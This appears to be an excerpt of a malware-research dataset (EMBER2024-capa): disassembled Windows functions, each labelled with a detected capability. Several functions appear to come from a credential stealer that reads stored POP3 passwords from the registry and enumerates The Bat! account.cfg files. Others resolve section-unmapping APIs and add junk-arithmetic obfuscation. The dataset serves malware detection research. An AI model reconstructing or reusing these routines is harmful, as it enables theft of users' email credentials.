joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4a9c64
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
push edi
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4a9df2
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4a9db5
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebx + 0xc]
call fcn.004a8e94
mov esi, eax
mov dword [ebx + 0x10], esi
mov eax, dword [ebp - 4]
mov dword [eax], esi
mov eax, dword [ebp - 4]
add eax, 4
mov edx, dword [ebx + 0xc]
add edx, 0x864
mov ecx, 0x33
call sub.rtl120.bpl__System__UStrFromWArray_qqrr20System_UnicodeStringpbi
mov eax, dword [ebp - 4]
add eax, 8
mov edx, dword [ebx + 0xc]
add edx, 0x8ca
mov ecx, pe_nt_image_headers32
call sub.rtl120.bpl__System__UStrFromWArray_qqrr20System_UnicodeStringpbi
mov eax, dword [ebp - 4]
add eax, 0xc
mov edx, dword [ebx + 0xc]
add edx, 0xaca
mov ecx, 0x15
call sub.rtl120.bpl__System__UStrFromWArray_qqrr20System_UnicodeStringpbi
mov eax, dword [ebp - 4]
add eax, 0x10
mov edx, dword [ebx + 0xc]
add edx, 0xaf8
mov ecx, 0x33
call sub.rtl120.bpl__System__UStrFromWArray_qqrr20System_UnicodeStringpbi
lea eax, [ebp - 8]
mov edx, dword [ebx + 0xc]
add edx, 0xaf8
mov ecx, 0x33
call sub.rtl120.bpl__System__UStrFromWArray_qqrr20System_UnicodeStringpbi
mov eax, dword [ebp - 8]
call fcn.004a8ff0
mov eax, dword [ebp - 4]
fstp qword [eax + 0x18]
wait
mov eax, dword [ebx + 0xc]
cmp dword [eax + 0xaf4], 1
sbb eax, eax
inc eax
mov edx, dword [ebp - 4]
mov byte [edx + 0x20], al
lea eax, [ebp - 0xc]
mov edx, dword [ebx + 0xc]
add edx, 0xb5e
mov ecx, 6
call sub.rtl120.bpl__System__UStrFromWArray_qqrr20System_UnicodeStringpbi
mov eax, dword [ebp - 0xc]
or edx, 0xffffffff
call sub.rtl120.bpl__Sysutils_StrToIntDef_qqrx20System_UnicodeStringi
mov edx, dword [ebp - 4]
mov dword [edx + 0x24], eax
mov eax, dword [ebx + 0xc]
cmp dword [eax + 0xb6c], 1
sbb eax, eax
inc eax
mov edx, dword [ebp - 4]
mov byte [edx + 0x28], al
mov eax, dword [ebp - 4]
add eax, 0x2c
mov edx, dword [ebx + 0xc]
add edx, 0xb70
mov ecx, 0x33
call sub.rtl120.bpl__System__UStrFromWArray_qqrr20System_UnicodeStringpbi
mov eax, dword [ebp - 4]
add eax, 0x30
mov edx, dword [ebx + 0xc]
add edx, 0xbd6
mov ecx, 0x33
call sub.rtl120.bpl__System__UStrFromWArray_qqrr20System_UnicodeStringpbi
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4a9dd7
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a9df9
lea eax, [ebp - 0xc]
mov edx, 2
call sub.rtl120.bpl__System__UStrArrayClr_qqrpvi
ret
Function at 0x4b3a8c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
mov ebx, dword [ebp + 8]
lea eax, [ebp - 8]
push eax
push 0x20019
push 0
mov eax, edi
call sub.rtl120.bpl__System__UStrToPWChar_qqrx20System_UnicodeString
push eax
push esi
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0x4b3b18
xor eax, eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call sub.rtl120.bpl__System__UStrToPWChar_qqrx20System_UnicodeString
mov esi, eax
push esi
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExW
cmp dword [ebp - 0xc], 0
je 0x4b3b0f
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
push 0
push esi
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x4b3b0f
mov eax, dword [ebp - 0x10]
add eax, 0xfffffffc
sub eax, 2
jae 0x4b3b0f
mov ebx, dword [ebp - 0x14]
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4

Function at 0x4b3b24
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov esi, eax
mov ebx, dword [ebp + 8]
mov eax, ebx
mov edx, dword [ebp + 0xc]
call sub.rtl120.bpl__System__UStrAsg_qqrr20System_UnicodeStringx20System_UnicodeString
lea eax, [ebp - 8]
push eax
push 0x20019
push 0
mov eax, edi
call sub.rtl120.bpl__System__UStrToPWChar_qqrx20System_UnicodeString
push eax
push esi
call sub.advapi32.dll_RegOpenKeyExW
test eax, eax
jne 0x4b3be3
xor eax, eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push 0
mov eax, dword [ebp - 4]
call sub.rtl120.bpl__System__UStrToPWChar_qqrx20System_UnicodeString
mov edi, eax
push edi
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExW
cmp dword [ebp - 0xc], 0
je 0x4b3bda
mov eax, dword [ebp - 0xc]
call sub.rtl120.bpl__System_AllocMem_qqrui
mov esi, eax
lea eax, [ebp - 0xc]
push eax
push esi
lea eax, [ebp - 0x10]
push eax
push 0
push edi
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegQueryValueExW
test eax, eax
jne 0x4b3bd3
mov eax, dword [ebp - 0x10]
dec eax
sub eax, 2
jb 0x4b3bbc
sub eax, 4
jne 0x4b3bc7
mov eax, ebx
mov edx, esi
call sub.rtl120.bpl__System__UStrFromPWChar_qqrr20System_UnicodeStringpb
jmp 0x4b3bd3
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov edx, esi
call sub.rtl120.bpl__System__UStrFromPWCharLen_qqrr20System_UnicodeStringpbi
mov eax, esi
call sub.rtl120.bpl__System__FreeMem_qqrpv
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4b5d50
Capabilities:
Hash data with crc32

Disassembly:
push ebx
push esi
push edi
push ecx
mov dword [esp], eax
mov eax, 0xedb88320
xor esi, esi
mov ebx, dword [esp]
mov edx, esi
mov ecx, 0xfffffff8
mov edi, edx
and edi, 1
dec edi
jne 0x4b5d76
shr edx, 1
xor edx, eax
jmp 0x4b5d78
shr edx, 1
inc ecx
jne 0x4b5d68
mov dword [ebx], edx
inc esi
add ebx, 4
cmp esi, 0x100
jne 0x4b5d61
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x4b5fa0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push 0
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call sub.rtl120.bpl__System__LStrAddRef_qqrpv
mov eax, dword [ebp - 8]
call sub.rtl120.bpl__System__LStrAddRef_qqrpv
xor eax, eax
push ebp
push 0x4b6086
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
call sub.rtl120.bpl__System__LStrClr_qqrpv
cmp dword [ebp - 8], 0
jne 0x4b5ff0
mov eax, edi
mov edx, dword [ebp - 4]
call sub.rtl120.bpl__System__LStrAsg_qqrpvpxv
jmp 0x4b606b
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 8]
call fcn.004b5eec
mov eax, dword [ebp - 4]
call sub.rtl120.bpl__System__LStrLen_qqrx27System__AnsiStringT_us_i0__
mov esi, eax
test esi, esi
jle 0x4b6061
mov ebx, 1
mov eax, dword [ebp - 0x10]
call sub.rtl120.bpl__System__LStrLen_qqrx27System__AnsiStringT_us_i0__
push eax
mov eax, ebx
pop edx
mov ecx, edx
cdq
idiv ecx
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax + edx]
call fcn.004b5dc0
push eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax + ebx - 1]
call fcn.004b5dc0
mov edx, eax
pop eax
xor al, dl
call fcn.004b5e68
mov edx, eax
lea eax, [ebp - 0x14]
mov ecx, 0
call sub.rtl120.bpl__System__LStrFromChar_qqrr27System__AnsiStringT_us_i0__cus
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0xc]
call sub.rtl120.bpl__System__LStrCat_qqrv
inc ebx
dec esi
jne 0x4b600e
mov eax, edi
mov edx, dword [ebp - 0xc]
call sub.rtl120.bpl__System__LStrAsg_qqrpvpxv
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b608d
lea eax, [ebp - 0x14]
mov edx, 5
call sub.rtl120.bpl__System__LStrArrayClr_qqrpvi
ret
Function at 0x4b6094
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push 0
push 0
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call sub.rtl120.bpl__System__LStrAddRef_qqrpv
mov eax, dword [ebp - 8]
call sub.rtl120.bpl__System__LStrAddRef_qqrpv
xor eax, eax
push ebp
push 0x4b617a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0xc]
call sub.rtl120.bpl__System__LStrClr_qqrpv
cmp dword [ebp - 8], 0
jne 0x4b60e4
mov eax, edi
mov edx, dword [ebp - 4]
call sub.rtl120.bpl__System__LStrAsg_qqrpvpxv
jmp 0x4b615f
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 8]
call fcn.004b5eec
mov eax, dword [ebp - 4]
call sub.rtl120.bpl__System__LStrLen_qqrx27System__AnsiStringT_us_i0__
mov esi, eax
test esi, esi
jle 0x4b6155
mov ebx, 1
mov eax, dword [ebp - 0x10]
call sub.rtl120.bpl__System__LStrLen_qqrx27System__AnsiStringT_us_i0__
push eax
mov eax, ebx
pop edx
mov ecx, edx
cdq
idiv ecx
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax + edx]
call fcn.004b5dc0
push eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax + ebx - 1]
call fcn.004b5dc0
mov edx, eax
pop eax
xor al, dl
call fcn.004b5e68
mov edx, eax
lea eax, [ebp - 0x14]
mov ecx, 0
call sub.rtl120.bpl__System__LStrFromChar_qqrr27System__AnsiStringT_us_i0__cus
mov edx, dword [ebp - 0x14]
lea eax, [ebp - 0xc]
call sub.rtl120.bpl__System__LStrCat_qqrv
inc ebx
dec esi
jne 0x4b6102
mov eax, edi
mov edx, dword [ebp - 0xc]
call sub.rtl120.bpl__System__LStrAsg_qqrpvpxv
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b6181
lea eax, [ebp - 0x14]
mov edx, 5
call sub.rtl120.bpl__System__LStrArrayClr_qqrpvi
ret

Function at 0x4b6e74
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdf4
push ebx
xor edx, edx
mov dword [ebp - 0x20c], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4b6ee8
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x23
lea eax, [ebp - 0x208]
push eax
mov eax, dword [0x4c6004]
push eax
call sub.shell32.dll_SHGetSpecialFolderPathW
lea eax, [ebp - 0x20c]
lea edx, [ebp - 0x208]
mov ecx, 0x104
call sub.rtl120.bpl__System__UStrFromWArray_qqrr20System_UnicodeStringpbi
mov eax, dword [ebp - 0x20c]
mov edx, ebx
call sub.rtl120.bpl__Sysutils_IncludeTrailingPathDelimiter_qqrx20System_UnicodeString
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b6eef
lea eax, [ebp - 0x20c]
call sub.rtl120.bpl__System__UStrClr_qqrpv
ret
Function at 0x4b6ef4
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdf0
push ebx
xor edx, edx
mov dword [ebp - 0x210], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4b6f63
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x20a]
push eax
push 0x104
call sub.kernel32.dll_GetTempPathW
lea eax, [ebp - 0x210]
lea edx, [ebp - 0x20a]
mov ecx, 0x105
call sub.rtl120.bpl__System__UStrFromWArray_qqrr20System_UnicodeStringpbi
mov eax, dword [ebp - 0x210]
mov edx, ebx
call sub.rtl120.bpl__Sysutils_IncludeTrailingPathDelimiter_qqrx20System_UnicodeString
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b6f6a
lea eax, [ebp - 0x210]
call sub.rtl120.bpl__System__UStrClr_qqrpv
ret

Function at 0x4b8a74
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call sub.rtl120.bpl__System__UStrAddRef_qqrpv
xor eax, eax
push ebp
push 0x4b8ad1
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
mov ecx, dword [ebp - 4]
mov edx, 0x4b8ae8
call sub.rtl120.bpl__System__UStrCat3_qqrr20System_UnicodeStringx20System_UnicodeStringt2
mov eax, dword [ebp - 8]
call sub.rtl120.bpl__System__UStrToPWChar_qqrx20System_UnicodeString
push eax
call sub.kernel32.dll_OutputDebugStringW
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b8ad8
lea eax, [ebp - 8]
mov edx, 2
call sub.rtl120.bpl__System__UStrArrayClr_qqrpvi
ret
Function at 0x4e57d0
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0xffffffff
mov dword [ebp - 0xc], 0
jmp 0x4e57f5
mov ecx, dword [ebp - 0xc]
add ecx, 1
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 0xc]
cmp edx, dword [ebp + 0xc]
jae 0x4e5868
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 8]
xor ecx, edx
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 8]
shr eax, 8
mov dword [ebp - 8], eax
mov dword [ebp - 0x14], 0
jmp 0x4e582a
mov ecx, dword [ebp - 0x14]
add ecx, 1
mov dword [ebp - 0x14], ecx
cmp dword [ebp - 0x14], 8
jge 0x4e585d
mov edx, dword [ebp - 0x10]
and edx, 1
neg edx
sbb edx, edx
neg edx
mov byte [ebp - 0x15], dl
mov eax, dword [ebp - 0x10]
shr eax, 1
mov dword [ebp - 0x10], eax
movzx ecx, byte [ebp - 0x15]
test ecx, ecx
je 0x4e585b
mov edx, dword [ebp - 0x10]
xor edx, 0xedb88320
mov dword [ebp - 0x10], edx
jmp 0x4e5821
mov eax, dword [ebp - 8]
xor eax, dword [ebp - 0x10]
mov dword [ebp - 8], eax
jmp 0x4e57ec
mov eax, dword [ebp - 8]
not eax
mov esp, ebp
pop ebp
ret
Function at 0x40130d
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1f0
push ebx
push esi
push edi
mov ebx, 0x3bc617b3
mov eax, ebx
add eax, ebx
mov ebx, eax
and dword [ebp - 0x1a0], 0
mov eax, dword [ebp + 8]
mov byte [eax], 0
mov byte [ebp - 0x197], 0
jmp 0x40148f
mov eax, ebx
mul ebx
mov dword [ebp - 0x1e8], eax
mov ebx, eax
movzx eax, byte [ebp - 0x197]
push eax
push str.SOFTWAREMicrosoftInternet_Account_ManagerAccounts_08x
lea eax, [ebp - 0x196]
push eax
call sub.CRTDLL.DLL_sprintf
push 0x100
lea eax, [ebp - 0x100]
push eax
push str.POP3_Password2
lea eax, [ebp - 0x196]
push eax
push 0x80000001
call fcn.0040758a
add esp, 0x20
mov dword [ebp - 0x19c], eax
or eax, eax
je 0x4013ad
push 0x100
push dword [ebp + 8]
dec eax
push eax
lea eax, [ebp - 0x100]
add eax, 2
push eax
call fcn.0040129c
add esp, 0x10
xor ebx, 0x12ed
lea edi, [ebp - 0x1c4]
lea esi, [0x42d0b8]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
lea edi, [ebp - 0x1e4]
lea esi, [0x42d0d8]
mov ecx, 8
rep movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x1a1], 0
jmp 0x40144d
mov eax, ebx
add eax, ebx
mov ebx, eax
push 0x100
lea eax, [ebp - 0x100]
push eax
movzx edi, byte [ebp - 0x1a1]
shl edi, 2
push dword [ebp + edi - 0x1c4]
lea edi, [ebp - 0x196]
push edi
push 0x80000001
call fcn.0040758a
lea eax, [ebp - 0x100]
push eax
movzx edi, byte [ebp - 0x1a1]
shl edi, 2
push dword [ebp + edi - 0x1e4]
mov edi, dword [ebp + 8]
push edi
push str._s_s_s
push edi
call sub.CRTDLL.DLL_sprintf
add esp, 0x28
mov eax, ebx
sub eax, ebx
mov ebx, eax
add byte [ebp - 0x1a1], 1
mov al, byte [ebp - 0x1a1]
cmp al, 8
jb 0x4013e2
inc dword [ebp - 0x1a0]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1ec], eax
push eax
call sub.KERNEL32.DLL_lstrlenA
mov edi, dword [ebp - 0x1ec]
lea edi, [edi + eax + 1]
mov dword [ebp + 8], edi
mov eax, 0x1f78
mul ebx
mov dword [ebp - 0x1f0], eax
mov ebx, eax
add byte [ebp - 0x197], 1
mov al, byte [ebp - 0x197]
cmp al, 0x1e
jb 0x40133d
mov eax, dword [ebp - 0x1a0]
and eax, 0xff
jmp 0x4014b0
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401fc4
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10028
call fcn.0040d87c
push ebx
push esi
push edi
mov ebx, 0x44a12217
sub ebx, 0x57e6
mov eax, dword [0x42d108]
cmp dword [ebp + 0xc], eax
je 0x402166
mov eax, dword [ebp + 0xc]
mov dword [0x42d108], eax
mov eax, 0x6573
mul ebx
mov dword [ebp - 0x10028], eax
mov ebx, eax
cmp dword [0x42d10c], 0
je 0x402025
mov eax, dword [0x42d10c]
push eax
mov esi, dword [eax]
call dword [esi + 8]
mov eax, ebx
add eax, ebx
mov ebx, eax
and dword [0x42d10c], 0
push 0xffff
lea eax, [ebp - 0x1001f]
push eax
push dword [ebp + 0xc]
call sub.USER32.DLL_GetWindowTextA
push 1
push str.Microsoft_Internet_Explorer
lea eax, [ebp - 0x1001f]
push eax
call fcn.00402b4d
add esp, 0xc
cmp eax, 0xffff
jne 0x402062
and dword [0x42d10c], 0
jmp 0x402166
mov eax, ebx
sub eax, ebx
mov ebx, eax
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax + 4]
push eax
mov edi, dword [eax]
call dword [edi + 0x1c]
mov dword [ebp - 4], eax
cmp dword [ebp - 0xc], 0
je 0x402166
cmp dword [ebp - 4], 0
jne 0x402166
and dword [ebp - 8], 0
mov eax, ebx
xor eax, ebx
mov ebx, eax
push 0
call sub.CRTDLL.DLL__sleep
pop ecx
sub ebx, 0x39c4
mov word [ebp - 0x20], 2
mov eax, ebx
xor eax, ebx
mov ebx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x10]
push eax
lea esi, [ebp - 0x20]
sub esp, 0x10
mov edi, esp
mov ecx, 4
rep movsd dword es:[edi], dword [esi]
mov edi, dword [ebp + 8]
mov edi, dword [edi + 4]
push edi
mov edi, dword [edi]
call dword [edi + 0x20]
mov dword [ebp - 4], eax
or eax, eax
jne 0x402130
push 0x42d10c
push 0x4304c8
mov eax, dword [ebp - 0x10]
push eax
mov edi, dword [eax]
call dword [edi]
mov dword [ebp - 4], eax
xor ebx, 0x7814
or eax, eax
jne 0x402130
mov eax, ebx
sub eax, ebx
mov ebx, eax
lea eax, [ebp - 0x10024]
push eax
mov eax, dword [0x42d10c]
push eax
mov edi, dword [eax]
call dword [edi + 0x94]
mov dword [ebp - 4], eax
or eax, eax
jne 0x402130
mov eax, dword [ebp + 0xc]
cmp dword [ebp - 0x10024], eax
je 0x402166
mov eax, ebx
add eax, ebx
mov ebx, eax
cmp dword [0x42d10c], 0
je 0x40214a
mov eax, dword [0x42d10c]
push eax
mov esi, dword [eax]
call dword [esi + 8]
inc dword [ebp - 8]
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 8], eax
jb 0x402099
and dword [0x42d10c], 0
mov eax, ebx
xor eax, ebx
mov ebx, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40216b
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push eax
push ebx
push esi
push edi
mov edi, 0x3cf7423a
xor edi, 0x227e
mov eax, edi
add eax, edi
mov edi, eax
push 0
push 0
push 4
push 0
push 0
push 0x40000000
push dword [ebp + 8]
call sub.KERNEL32.DLL_CreateFileA
mov esi, eax
push 2
push 0
push 0
push esi
call sub.KERNEL32.DLL_SetFilePointer
sub edi, 0x3bbc
mov eax, dword [ebp + 0xc]
mov ecx, eax
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x4021b7
mov ebx, eax
push 0
lea edx, [ebp - 4]
push edx
push ebx
push dword [ebp + 0xc]
push esi
call sub.KERNEL32.DLL_WriteFile
push 0
lea eax, [ebp - 4]
push eax
push 2
push 0x4302a4
push esi
call sub.KERNEL32.DLL_WriteFile
push esi
call sub.KERNEL32.DLL_CloseHandle
mov eax, 0xe51
mul edi
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov edi, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x402a86
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov edi, 0x39e57ed3
mov eax, edi
mul edi
mov dword [ebp - 4], eax
mov edi, eax
push dword [ebp + 8]
push 0x42b2d0
call sub.CRTDLL.DLL_sprintf
add edi, 0x765e
push dword [ebp + 0xc]
push 0x419fa0
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
push 0x42d110
push 0
push 0
push 0x4029c7
push 0
push 0
call sub.KERNEL32.DLL_CreateThread
mov esi, eax
push esi
call sub.KERNEL32.DLL_CloseHandle
xor edi, 0x2ac0
pop edi
pop esi
leave
ret
Function at 0x40376b
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10d50
call fcn.0040d87c
push ebx
push esi
push edi
mov ebx, dword [ebp + 8]
mov edi, 0x9375658
mov eax, edi
xor eax, edi
mov edi, eax
mov dword [ebp - 0x10548], 0x400
xor esi, esi
lea eax, [ebp - 0x402]
push eax
lea eax, [ebp - 0x10548]
push eax
push 0x430267
push str.SOFTWAREClientsMailThe_Bat_ProtocolsmailtoDefaultIcon
push 0x80000002
call fcn.00404ad4
add esp, 0x14
mov eax, edi
xor eax, edi
mov edi, eax
lea ecx, [ebp - 0x402]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x4037c9
mov edx, eax
mov byte [ebp - 1], dl
jmp 0x4037e9
movzx eax, byte [ebp - 1]
cmp byte [ebp + eax - 0x402], 0x5c
je 0x4037f1
sub byte [ebp - 1], 1
movzx eax, byte [ebp - 1]
or eax, eax
jg 0x4037d7
movzx eax, byte [ebp - 1]
mov byte [ebp + eax - 0x402], 0
push str.MAIL
lea eax, [ebp - 0x402]
push eax
push str._s_s_
lea eax, [ebp - 0x402]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0x10
cmp dword [ebp - 0x10548], 0
jne 0x40382d
xor eax, eax
jmp 0x403953
mov byte [ebp - 0x10542], 0
mov eax, edi
mul edi
mov dword [ebp - 0x10d50], eax
mov edi, eax
lea eax, [ebp - 0x402]
push eax
push 0x43025c
lea eax, [ebp - 0x10948]
push eax
call sub.CRTDLL.DLL_sprintf
add esp, 0xc
lea eax, [ebp - 0x10541]
push eax
lea eax, [ebp - 0x10948]
push eax
call sub.KERNEL32.DLL_FindFirstFileA
mov dword [ebp - 0x1094c], eax
cmp dword [ebp - 0x10541], 0x10
jne 0x403932
cmp byte [ebp - 0x10515], 0x2e
je 0x403932
push str.account.cfg
lea eax, [ebp - 0x10515]
push eax
lea eax, [ebp - 0x402]
push eax
push 0x430254
lea eax, [ebp - 0x10d4c]
push eax
call sub.CRTDLL.DLL_sprintf
add edi, 0x479e
lea eax, [ebp - 0x10401]
push eax
lea eax, [ebp - 0x10d4c]
push eax
call fcn.0040318f
add esp, 0x1c
cmp byte [ebp - 0x10401], 0
je 0x40392c
mov byte [ebp - 2], 0
jmp 0x4038f3
movzx eax, byte [ebp - 2]
mov edx, eax
add edx, esi
mov al, byte [ebp + eax - 0x10401]
mov byte [ebx + edx], al
add byte [ebp - 2], 1
lea ecx, [ebp - 0x10401]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x4038fc
movzx ecx, byte [ebp - 2]
cmp ecx, eax
jbe 0x4038dd
mov eax, edi
add eax, edi
mov edi, eax
lea ecx, [ebp - 0x10401]
or eax, 0xffffffff
inc eax
cmp byte [ecx + eax], 0
jne 0x40391a
lea esi, [esi + eax + 1]
add byte [ebp - 0x10542], 1
mov eax, edi
xor eax, edi
mov edi, eax
lea eax, [ebp - 0x10541]
push eax
push dword [ebp - 0x1094c]
call sub.KERNEL32.DLL_FindNextFileA
or eax, eax
jne 0x403874
movzx eax, byte [ebp - 0x10542]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403f5b
Capabilities:
Link many functions at runtime

Disassembly:
push esi
push edi
mov edi, 0x788e077a
add edi, 0x775c
push 0x42d741
call sub.KERNEL32.DLL_GetModuleHandleA
mov esi, eax
push str.RtlInitUnicodeString
push esi
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x42b0bc], eax
push str.NtUnmapViewOfSection
push esi
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x419f90], eax
sub edi, 0xcdf
push str.NtOpenSection
push esi
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x419d80], eax
push str.NtMapViewOfSection
push esi
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x41afa0], eax
push str.RtlNtStatusToDosError
push esi
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x42b0b8], eax
xor edi, 0xf40
pop edi
pop esi
ret
Function at 0x404a86
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, 0xd8526ac
mov eax, edi
sub eax, edi
mov edi, eax
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.ADVAPI32.DLL_RegOpenKeyExA
push 0xff
push dword [ebp + 0x14]
push 1
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegSetValueExA
mov eax, edi
sub eax, edi
mov edi, eax
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegCloseKey
pop edi
leave
ret

Function at 0x404ad4
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
mov edi, 0x4e3d30a2
mov eax, edi
add eax, edi
mov edi, eax
mul edi
mov dword [ebp - 0xc], eax
mov edi, eax
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.ADVAPI32.DLL_RegOpenKeyExA
push dword [ebp + 0x14]
push dword [ebp + 0x18]
lea eax, [ebp - 8]
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegQueryValueExA
push dword [ebp - 4]
call sub.ADVAPI32.DLL_RegCloseKey
sub edi, 0xa
mov eax, dword [ebp - 8]
pop edi
leave
ret